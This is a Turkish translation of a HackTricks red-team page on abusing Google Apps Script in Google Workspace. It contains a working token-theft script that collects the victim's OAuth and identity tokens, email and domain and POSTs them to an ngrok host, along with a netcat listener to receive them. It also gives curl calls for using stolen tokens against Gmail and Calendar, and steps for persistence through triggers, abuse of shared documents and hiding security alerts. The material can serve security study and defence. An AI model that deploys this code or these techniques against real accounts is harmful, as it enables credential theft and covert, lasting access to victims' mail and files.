GWS - App Scripts

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'i desteklemenin diğer yolları:

App Scripts

App Scripts, kodun, App Script'in bağlı olduğu belgeye erişen düzenleyici iznine sahip bir kullanıcı tarafından tetikleneceği ve OAuth onayını kabul ettikten sonra çalıştırılacağı kodlardır. Ayrıca sahibi tarafından belirli aralıklarla çalıştırılacak şekilde de ayarlanabilirler (Kalıcılık).

App Script Oluşturma

App Script oluşturmanın birkaç yolu vardır, ancak en yaygın olanları herhangi bir türdeki bir Google Belgesinden ve bağımsız bir proje olarak oluşturmaktır:

Google Docs, Sheets veya Slides'dan bağlı bir proje oluşturma
  1. Bir Docs belgesi, bir Sheets elektronik tablosu veya bir Slides sunumu açın.

  2. Uzantılar > Google Apps Script'i tıklayın.

  3. Betik düzenleyicide, Untitled project'i tıklayın.

  4. Projeye bir ad verin ve Rename'i tıklayın.

Bağımsız bir proje oluşturma

Apps Script'ten bağımsız bir proje oluşturmak için:

  1. Yeni Proje Ekle'yi tıklayın.

  2. Betik düzenleyicide, Untitled project'i tıklayın.

  3. Projeye bir ad verin ve Rename'i tıklayın.

Google Drive'dan bağımsız bir proje oluşturma
  1. Google Drive'ı açın.

  2. Yeni > Daha Fazla > Google Apps Script'i tıklayın.

Google Forms'tan bağlı bir proje oluşturma
  1. Google Forms'ta bir form açın.

  2. Daha Fazla more_vert > Betik düzenleyici'ni tıklayın.

  3. Betik düzenleyicide, Untitled project'i tıklayın.

  4. Projeye bir ad verin ve Rename'i tıklayın.

clasp komut satırı aracını kullanarak bağımsız bir proje oluşturma

clasp, terminalden Apps Script projeleri oluşturmanıza, çekmenize/itmekmenize ve dağıtmanıza olanak tanıyan bir komut satırı aracıdır.

Daha fazla ayrıntı için clasp kullanarak Komut Satırı Arayüzü kılavuzuna bakın.

App Script Senaryosu

App Script ile Google Sheet Oluşturma

Bir App Script oluşturmaya başlamak için, bu senaryo için bir Google Sheet oluşturmanızı öneririm ve Uzantılar > App Scripts'e gidin, bu size bağlı bir yeni App Script açacaktır.

Token sızdırma

OAuth belirteci erişimini vermek için Hizmetler +'e tıklayın ve şu gibi kapsamlar ekleyin:

  • AdminDirectory: Dizin kullanıcılarına ve gruplarına erişim (kullanıcı yeterli izne sahipse)

  • Gmail: Gmail verilerine erişim için

  • Drive: Drive verilerine erişim için

  • Google Sheets API: Tetikleyiciyle çalışması için

Gerekli kapsamları kendiniz değiştirmek için projenin ayarlarına gidip: Düzenleyicide "appsscript.json" manifest dosyasını göster'i etkinleştirin.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

İsteği yakalamak için sadece şunu çalıştırabilirsiniz:

ngrok tcp 4444
nc -lv 4444 #macOS

İzinlerin uygulama betiğini çalıştırması için istendi:

Harici bir istek yapıldığında OAuth uyarısı da harici uç noktalara erişim izni isteyecektir.

Tetikleyici Oluşturma

Uygulama okunduğunda, tetikleyici oluşturmak için ⏰ Tetikleyiciler üzerine tıklayın. Fonksiyon olarak getToken'ı seçin, dağıtımda çalışacak şekilde Baş'ı seçin, olay kaynağı olarak Tablodan seçin ve olay türünü Açıldığında veya Düzenlendiğinde (ihtiyacınıza göre) seçin ve kaydedin.

Uygulama betiğinin çalışmalarını hata ayıklamak isterseniz, Yürütme sekmesinde kontrol edebilirsiniz.

Paylaşım

Uygulama betiğini tetiklemek için kurbanın Düzenleyici Erişimi ile bağlantı kurması gerekmektedir.

Uygulama betiğini çalıştırmak için kullanılan token, tetikleyiciyi oluşturan kişinin token'ı olacaktır, dosya diğer kullanıcılar tarafından Düzenleyici olarak açılsa bile.

Paylaşılan Belgelerin Kötüye Kullanımı

Eğer birisi size App Scripts ve bir tetikleyiciyi App Script'in Başını kullanarak paylaştıysa, App Script kodunu değiştirebilir (örneğin, token çalma fonksiyonlarını ekleyebilir), erişebilir ve App Script, size belgeyi paylaşan kullanıcının izinleriyle çalıştırılacaktır! (unutmayın ki sahibin OAuth token'ı, tetikleyici oluşturulurken verilen erişim kapsamlarına sahip olacaktır).

Birisi betiği değiştirdiğinde, betiği oluşturan kişiye bir bildirim gönderilecektir (Uyarıyı önlemek için bir filtre oluşturmak için gmail izinlerini kullanmak ne dersiniz?)

Eğer bir saldırgan App Script'in kapsamlarını değiştirirse, güncellemeler belgeye uygulanmayacaktır ta ki değişikliklerle yeni bir tetikleyici oluşturulana kadar. Bu nedenle, bir saldırgan, oluşturduğu tetikleyicide belirlediği kapsamlardan daha fazla kapsama sahip sahibin oluşturucu token'ını çalamayacaktır.

Paylaşmak Yerine Kopyalama

Bir belgeyi paylaşmak için bir bağlantı oluşturduğunuzda şu türden bir bağlantı oluşturulur: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Eğer sonundaki "/edit"'i "/copy" ile değiştirirseniz, google'a erişmek yerine belgenin bir kopyasını oluşturup oluşturmak isteyip istemediğinizi soracaktır:

Kullanıcı kopyaladığında, hem belgenin içeriği hem de App Scripts kopyalanacaktır, ancak tetikleyiciler kopyalanmayacaktır, bu nedenle hiçbir şey çalıştırılmayacaktır.

Web Uygulaması Olarak Paylaşma

Bir App Script'i Web uygulaması olarak paylaşmanın mümkün olduğunu unutmayın (App Script'in Düzenleyicisinde, bir Web uygulaması olarak dağıtın), ancak şu türden bir uyarı görünecektir:

Gerekli izinleri isteyen tipik OAuth uyarısının ardından devam edin.

Test Etme

Toplanan bir token'ı e-postaları listelemek için test edebilirsiniz:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Kullanıcının takvimini listele:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

Uygulama Betiği Olarak Kalıcılık

Kalıcılık için bir seçenek, bir belge oluşturmak ve getToken işlevi için bir tetikleyici eklemek ve belgeyi saldırganla paylaşmak olabilir, böylece saldırgan her dosyayı açtığında kurbanın belirteçlerini dışa aktarır.

Ayrıca bir Uygulama Betiği oluşturmak ve her X süre (örneğin her dakika, saat, gün...) için tetikleyici yapmak mümkündür. Kompromize edilmiş kimlik bilgilerine veya bir kurbanın oturumuna sahip bir saldırgan, bir Uygulama Betiği zaman tetikleyici ayarlayabilir ve her gün çok ayrıcalıklı bir OAuth belirteci sızdırabilir:

Sadece bir Uygulama Betiği oluşturun, Tetikleyicilere gidin, Tetikleyici Ekle'ye tıklayın ve olay kaynağı olarak Zaman tabanlı seçin ve size en uygun seçenekleri seçin:

Bu, bunun hakkında bir güvenlik uyarısı e-postası ve bir mobil uyarı mesajı oluşturacaktır.

Onaylanmamış Paylaşılan Belge İzni Atlama

Dahası, birisi size düzenleyici erişimiyle bir belge paylaştıysa, belge içinde Uygulama Betikleri oluşturabilir ve belgenin SAHİBİ (oluşturan) Uygulama Betiğinin sahibi olacaktır.

Bu, belgenin yaratıcısının, belgeye düzenleyici erişimi olan herhangi bir kişinin içine oluşturduğu herhangi bir Uygulama Betiğinin yaratıcısı olarak görüneceği anlamına gelir.

Bu ayrıca, belge oluşturucunun Workspace ortamı tarafından Uygulama Betiğine güvenildiği anlamına gelir.

Bu ayrıca, eğer bir Uygulama Betiği zaten varsa ve insanlar erişim vermişse, belgeye Düzenleyici izni olan herhangi bir kişi bunu değiştirebilir ve bu erişimi kötüye kullanabilir. Bunu kötüye kullanmak için insanların Uygulama Betiğini tetiklemeleri gerekir. Ve bir hileli yöntem de betiği bir web uygulaması olarak yayınlamaktır. İnsanlar, Uygulama Betiğine zaten erişim vermişse ve web sayfasına erişirlerse, Uygulama Betiğini tetikleyeceklerdir (bu aynı zamanda <img> etiketleri kullanılarak da çalışır).

Last updated